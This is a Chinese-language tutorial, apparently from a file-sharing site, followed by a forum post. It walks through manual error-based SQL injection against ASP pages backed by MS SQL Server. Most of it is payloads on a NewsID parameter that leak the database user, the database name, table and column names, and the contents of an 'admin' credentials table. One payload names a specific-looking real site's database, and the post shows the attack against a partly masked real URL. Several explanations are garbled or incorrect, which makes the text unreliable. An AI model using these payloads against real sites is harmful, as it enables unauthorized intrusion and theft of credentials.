### 插入式注入技巧详解 #### 一、概述 插入式注入技巧是网络攻防领域内一种常见的安全漏洞利用手段,主要用于针对采用Microsoft SQL Server数据库的应用程序进行攻击。通过构造特殊的输入数据,攻击者可以绕过应用程序的安全验证机制,执行非授权的数据库操作,如查询、修改甚至删除数据等。本文将详细介绍几种实用的手工注入技巧。 #### 二、基本原理与环境准备 **1. 基本原理:** 插入式注入技巧主要是利用了SQL语句在拼接过程中存在的漏洞,通过在用户输入的数据中加入特定的字符或字符串,使得原始的SQL语句结构发生变化,从而达到执行额外SQL命令的目的。 **2. 环境准备:** - 目标系统:需要一个存在SQL注入漏洞的应用程序,该应用连接到一个Microsoft SQL Server数据库。 - 工具准备:可以使用Burp Suite等工具辅助测试。 #### 三、具体技巧详解 **1. 基础SQL注入示例:** ``` Newsid=3255 and user > 0 ``` 这段代码用于测试是否存在SQL注入漏洞。如果页面返回异常或者行为与正常情况不同,则可能存在注入点。`user > 0`是一个常用的测试语句,因为它几乎对所有类型的数据库都适用,并且不会改变数据表中的任何数据。 **2. 数据类型转换技巧:** ``` nvarchar值 'web113483' 转换为 int时出现错误 ``` 利用数据类型转换错误,可以通过尝试不同的数据类型来触发异常,进一步获取更多的信息。例如,尝试将一个字符串类型的值强制转换为整型,如果失败则会报错,这样就可以知道当前的操作系统或者数据库的一些信息。 **3. 数据库名称检测:** ``` Newsid=3255 and db_name() > 0 ``` 这条语句用于获取当前数据库的名称。如果返回错误信息,可以根据错误信息中的数据库名称来进一步了解目标数据库的信息。 **4. 获取表名和列名:** ``` Newsid=3255 and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype = 'U' and status > 0) > 0 ``` 这段代码用于获取数据库中的表名。通过这种方式,可以逐步构建出整个数据库的结构,包括所有的表和列。 进一步获取列名: ``` Newsid=3255 and (select top 1 col_name(object_id('admin'), 1) from admin) > 0 ``` 此代码用于获取指定表中的第一列的列名。通过调整数字参数(这里为1),可以依次获取其他列的列名。 **5. 避免关键字过滤:** ``` ReView and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype = 'U' and status > 0 and name not in ('ReView')) > 0 ``` 如果发现某些关键字被过滤掉了,可以通过使用不在表中的表名或列名来绕过过滤,继续进行注入。 **6. 获取用户名和密码:** ``` Newsid=3255 and (select count(*) from admin) > 0 ``` 这段代码用于判断是否存在名为“admin”的表。如果返回结果不为空,则说明存在该表,可以进一步尝试获取用户名和密码等敏感信息。 进一步获取用户名: ``` Newsid=3255 and (select top 1 col_name(object_id('admin'), 1) from admin) > 0 ``` 通过以上方法可以逐步获取数据库中的敏感信息,实现对数据库的完全控制。 #### 四、注意事项 1. **法律风险:**在未获得授权的情况下进行SQL注入属于非法行为,请确保在合法合规的前提下进行测试。 2. **技术限制:**并非所有的SQL注入都能成功,具体情况取决于目标系统的配置和防护措施。 3. **安全防护:**开发人员应加强输入验证和过滤机制,使用参数化查询等方式提高应用程序的安全性。 通过上述介绍,我们可以了解到插入式注入技巧的具体实施方法及其背后的原理。掌握这些技巧对于安全测试人员来说至关重要,有助于发现潜在的安全隐患并采取相应的措施加以防范。
不喜勿喷!
例:
http://www.xxxx.net/gaokao/ReadNews.asp?NewsID=3255'&BigClassName=&BigClassID=21&SmallClassID=42&SpecialID=0
试着在Newsid=3255后面插入“'”,结果报错。
“Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
明显存在注入漏洞,还是SQL数据库
无法动用工具查。 这点写工具的人,貌似很容易添加这个功能。
分析了一下
上面这类网址的ASP?后面跟有多项数据,各项数据类型也不完全相同,有的是数字型,有的则是字符型等,混合在一起。
比如:
www.yyy.org/ReadNews.asp?NewsID=7235&bigclassname1=新闻中心&bigclassname=教育信息&smallclassname=教育新闻
用手工注入吧。先看看权限如何?在中间插入注入语句:
Newsid=3255 and and user>0
提交后暴出了如下提示
将 nvarchar 值 'web113483' 转换为数据类型为 int 的列时发生语法错误。意思是当前用户的名字是“web113483”,看来只是一个普通权限的用户DB_OWNER。
- 粉丝: 0
- 资源: 1
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助